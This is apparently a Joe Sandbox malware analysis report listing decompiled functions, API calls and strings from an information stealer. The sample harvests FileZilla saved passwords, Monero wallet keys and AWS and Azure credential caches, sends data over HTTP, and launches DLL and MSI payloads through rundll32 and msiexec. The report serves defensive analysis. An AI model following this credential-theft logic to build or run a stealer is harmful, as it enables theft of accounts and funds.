lstrcat.KERNEL32(?,url: ), ref: 009F0580
lstrcat.KERNEL32(?,00000000), ref: 009F0593
lstrcat.KERNEL32(?,00A01678), ref: 009F05A2
lstrcat.KERNEL32(?,00000000), ref: 009F05B5
lstrcat.KERNEL32(?,00A0167C), ref: 009F05C4
lstrcat.KERNEL32(?,login: ), ref: 009F05D3
lstrcat.KERNEL32(?,00000000), ref: 009F05E6
lstrcat.KERNEL32(?,00A01688), ref: 009F05F5
lstrcat.KERNEL32(?,password: ), ref: 009F0604
lstrcat.KERNEL32(?,00000000), ref: 009F0617
lstrcat.KERNEL32(?,00A01698), ref: 009F0626
lstrcat.KERNEL32(?,00A0169C), ref: 009F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 009F02A4
<Host>, xrefs: 009F037C
url: , xrefs: 009F0577
<User>, xrefs: 009F0410
<Port>, xrefs: 009F03C6
<Pass encoding="base64">, xrefs: 009F045A
browser: FileZilla, xrefs: 009F0559
login: , xrefs: 009F05CA
password: , xrefs: 009F05FB
profile: null, xrefs: 009F0568

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 8c1c11ed28424cef6b62ee8eeb913aab034e2bcfb16471270e133520adc95b6e
Instruction ID: fdd6a830b35696d2c1a80167d56ef788df9d414d8ce7cea527242b0f687dd7a3
Opcode Fuzzy Hash: 8c1c11ed28424cef6b62ee8eeb913aab034e2bcfb16471270e133520adc95b6e
Instruction Fuzzy Hash: A3D12CB191010CABCB14EBE4DD96FFE7378BF94700F508518F606A6095EE74AA0ACB65

Function 009E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009E4839
Part of subcall function 009E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009E4849

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009E59F8
StrCmpCA.SHLWAPI(?,013BE3C0), ref: 009E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013BE3E0,00000000,?,013B9A38,00000000,?,00A01A1C), ref: 009E5E71
lstrlen.KERNEL32(00000000), ref: 009E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 009E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 009E5E9A
lstrlen.KERNEL32(00000000), ref: 009E5EAF
lstrlen.KERNEL32(00000000), ref: 009E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 009E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 009E5F4C
InternetCloseHandle.WININET(00000000), ref: 009E5FB0
InternetCloseHandle.WININET(00000000), ref: 009E5FBD
HttpOpenRequestA.WININET(00000000,013BE290,?,013BDC98,00000000,00000000,00400100,00000000), ref: 009E5BF8

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

InternetCloseHandle.WININET(00000000), ref: 009E5FC7

Strings

", xrefs: 009E5CD5
", xrefs: 009E5E16
------, xrefs: 009E5A96
------, xrefs: 009E5C0B
------, xrefs: 009E5D4C

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 0f46c5893197f806bff48d89dab8f3eebebfa4dee14d0bc630a9a1916042c01d
Instruction ID: e12dd694ffc457da7a560779a38aa5a8aabe613758819d94febaa7720ba06aa6
Opcode Fuzzy Hash: 0f46c5893197f806bff48d89dab8f3eebebfa4dee14d0bc630a9a1916042c01d
Instruction Fuzzy Hash: 0012DEB182011CABDB15EBA0DC95FEEB378BF54740F5045A9F20A62091EF706B4ACF65

Function 009ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009F8B60: GetSystemTime.KERNEL32(00A00E1A,013B9A98,00A005AE,?,?,009E13F9,?,0000001A,00A00E1A,00000000,?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009F8B86

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 009ED0CE
lstrcat.KERNEL32(?,00000000), ref: 009ED208
lstrcat.KERNEL32(?,00A01478), ref: 009ED217
lstrcat.KERNEL32(?,00000000), ref: 009ED22A
lstrcat.KERNEL32(?,00A0147C), ref: 009ED239
lstrcat.KERNEL32(?,00000000), ref: 009ED24C
lstrcat.KERNEL32(?,00A01480), ref: 009ED25B
lstrcat.KERNEL32(?,00000000), ref: 009ED26E
lstrcat.KERNEL32(?,00A01484), ref: 009ED27D
lstrcat.KERNEL32(?,00000000), ref: 009ED290
lstrcat.KERNEL32(?,00A01488), ref: 009ED29F
lstrcat.KERNEL32(?,00000000), ref: 009ED2B2
lstrcat.KERNEL32(?,00A0148C), ref: 009ED2C1
lstrcat.KERNEL32(?,00000000), ref: 009ED2D4
lstrcat.KERNEL32(?,00A01490), ref: 009ED2E3

Part of subcall function 009FA820: lstrlen.KERNEL32(009E4F05,?,?,009E4F05,00A00DDE), ref: 009FA82B
Part of subcall function 009FA820: lstrcpy.KERNEL32(00A00DDE,00000000), ref: 009FA885

lstrlen.KERNEL32(?), ref: 009ED32A
lstrlen.KERNEL32(?), ref: 009ED339

Part of subcall function 009FAA70: StrCmpCA.SHLWAPI(013B8800,009EA7A7,?,009EA7A7,013B8800), ref: 009FAA8F

DeleteFileA.KERNEL32(00000000), ref: 009ED3B4

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: db3675a4af7afd5946c4f1ab52e5c6a999cc609830a9d3f98d2fc055fe75b000
Instruction ID: 2ab8a2ef2545bc5625a9a347815a86a6161e1e46952d5cca662f1a41b3524856
Opcode Fuzzy Hash: db3675a4af7afd5946c4f1ab52e5c6a999cc609830a9d3f98d2fc055fe75b000
Instruction Fuzzy Hash: 42E11EB191010CABCB14EBA0DD96FFE7378BF54301F104558F60AA64A1DF75AE0ACB66

Function 009EC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,013BC958,00000000,?,00A0144C,00000000,?,?), ref: 009ECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 009ECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 009ECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 009ECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 009ECAD9
StrStrA.SHLWAPI(?,013BCA18,00A00B52), ref: 009ECAF7
StrStrA.SHLWAPI(00000000,013BCAD8), ref: 009ECB1E
StrStrA.SHLWAPI(?,013BD338,00000000,?,00A01458,00000000,?,00000000,00000000,?,013B8820,00000000,?,00A01454,00000000,?), ref: 009ECCA2
StrStrA.SHLWAPI(00000000,013BD238), ref: 009ECCB9

Part of subcall function 009EC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 009EC871
Part of subcall function 009EC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 009EC87C

StrStrA.SHLWAPI(?,013BD238,00000000,?,00A0145C,00000000,?,00000000,013B87F0), ref: 009ECD5A
StrStrA.SHLWAPI(00000000,013B8B60), ref: 009ECD71

Part of subcall function 009EC820: lstrcat.KERNEL32(?,00A00B46), ref: 009EC943
Part of subcall function 009EC820: lstrcat.KERNEL32(?,00A00B47), ref: 009EC957
Part of subcall function 009EC820: lstrcat.KERNEL32(?,00A00B4E), ref: 009EC978

lstrlen.KERNEL32(00000000), ref: 009ECE44
CloseHandle.KERNEL32(00000000), ref: 009ECE9C

Strings

, xrefs: 009EC9C6

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 516a9b1dd8fa8f0a3f3b846def0ff66f60e540c792853b0b75043c986fd078eb
Instruction ID: 61a6fe8c49f00a288ffa2026af6482bd4aad4144a44a861e2539cb040f4950b3
Opcode Fuzzy Hash: 516a9b1dd8fa8f0a3f3b846def0ff66f60e540c792853b0b75043c986fd078eb
Instruction Fuzzy Hash: E8E100B1D1010CABDB15EBA4DC91FFEB778AF54340F404169F20A67191DF706A4ACB66

Function 009F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

RegOpenKeyExA.ADVAPI32(00000000,013BAE80,00000000,00020019,00000000,00A005B6), ref: 009F83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 009F8426
wsprintfA.USER32 ref: 009F8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 009F847B
RegCloseKey.ADVAPI32(00000000), ref: 009F848C
RegCloseKey.ADVAPI32(00000000), ref: 009F8499

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Strings

%s\%s, xrefs: 009F844D
?, xrefs: 009F837A
- , xrefs: 009F85A3

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f9a79cb459a20d0a46c678fc45887b90c4ff18051e6129b8e6a8a4da3bae2a2b
Instruction ID: 3b89dc8f976cd70d079a09975570ec334bf8a116e178888384e4593a966788a4
Opcode Fuzzy Hash: f9a79cb459a20d0a46c678fc45887b90c4ff18051e6129b8e6a8a4da3bae2a2b
Instruction Fuzzy Hash: C2811BB191011CABDB64DB50CC95FEEB7B8FF48700F008699E209A6190DF756B86CFA5

Function 009F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009F8E0B

lstrcat.KERNEL32(?,00000000), ref: 009F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 009F4DCD

Part of subcall function 009F4910: wsprintfA.USER32 ref: 009F492C
Part of subcall function 009F4910: FindFirstFileA.KERNEL32(?,?), ref: 009F4943

lstrcat.KERNEL32(?,00000000), ref: 009F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 009F4E59

Part of subcall function 009F4910: StrCmpCA.SHLWAPI(?,00A00FDC), ref: 009F4971
Part of subcall function 009F4910: StrCmpCA.SHLWAPI(?,00A00FE0), ref: 009F4987
Part of subcall function 009F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 009F4B7D
Part of subcall function 009F4910: FindClose.KERNEL32(000000FF), ref: 009F4B92

lstrcat.KERNEL32(?,00000000), ref: 009F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 009F4EE5

Part of subcall function 009F4910: wsprintfA.USER32 ref: 009F49B0
Part of subcall function 009F4910: StrCmpCA.SHLWAPI(?,00A008D2), ref: 009F49C5
Part of subcall function 009F4910: wsprintfA.USER32 ref: 009F49E2
Part of subcall function 009F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 009F4A1E
Part of subcall function 009F4910: lstrcat.KERNEL32(?,013BE3B0), ref: 009F4A4A
Part of subcall function 009F4910: lstrcat.KERNEL32(?,00A00FF8), ref: 009F4A5C
Part of subcall function 009F4910: lstrcat.KERNEL32(?,?), ref: 009F4A70
Part of subcall function 009F4910: lstrcat.KERNEL32(?,00A00FFC), ref: 009F4A82
Part of subcall function 009F4910: lstrcat.KERNEL32(?,?), ref: 009F4A96
Part of subcall function 009F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 009F4AAC
Part of subcall function 009F4910: DeleteFileA.KERNEL32(?), ref: 009F4B31

Strings

\.azure\, xrefs: 009F4DC1
*.*, xrefs: 009F4DD8
Azure\.IdentityService, xrefs: 009F4EEB
Azure\.azure, xrefs: 009F4DD3
Azure\.aws, xrefs: 009F4E5F
*.*, xrefs: 009F4E64
msal.cache, xrefs: 009F4EF0
\.aws\, xrefs: 009F4E4D
\.IdentityService\, xrefs: 009F4ED9

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 89cd4dd3422abf7fbe03823d8bc76dd92fd56dafccdde84d0d53c982c6b8db80
Instruction ID: 3832434724f6deba1cea961da9201b2a63002d8787f8308a730d63b679f13511
Opcode Fuzzy Hash: 89cd4dd3422abf7fbe03823d8bc76dd92fd56dafccdde84d0d53c982c6b8db80
Instruction Fuzzy Hash: 4C4156B995020C67DB64F770EC47FED7338ABA4700F404954B689660C1EEB59BC98B92

Function 009F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 009F906C

Strings

image/jpeg, xrefs: 009F9136

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: eb28a853da2ae3cfee70d031023914a35d540d6e732e314982b7576f99ed4d80
Instruction ID: 6db553dca4f26b653f974fd99985b4e24f5cb39353d2bde5c01bea6d6534b762
Opcode Fuzzy Hash: eb28a853da2ae3cfee70d031023914a35d540d6e732e314982b7576f99ed4d80
Instruction Fuzzy Hash: B971DEB5A10208ABDB14DFE4DC89FEEB7B9BF88700F108518F615A7290DB74E945CB61

Function 009F2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

ShellExecuteEx.SHELL32(0000003C), ref: 009F31C5
ShellExecuteEx.SHELL32(0000003C), ref: 009F335D
ShellExecuteEx.SHELL32(0000003C), ref: 009F34EA

Strings

"" , xrefs: 009F309A
C:\Windows\system32\msiexec.exe, xrefs: 009F34BF
/i ", xrefs: 009F33E4
/passive, xrefs: 009F345B
<, xrefs: 009F3490
.msi, xrefs: 009F3398
C:\Windows\system32\rundll32.exe, xrefs: 009F3332
.dll, xrefs: 009F31E5

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
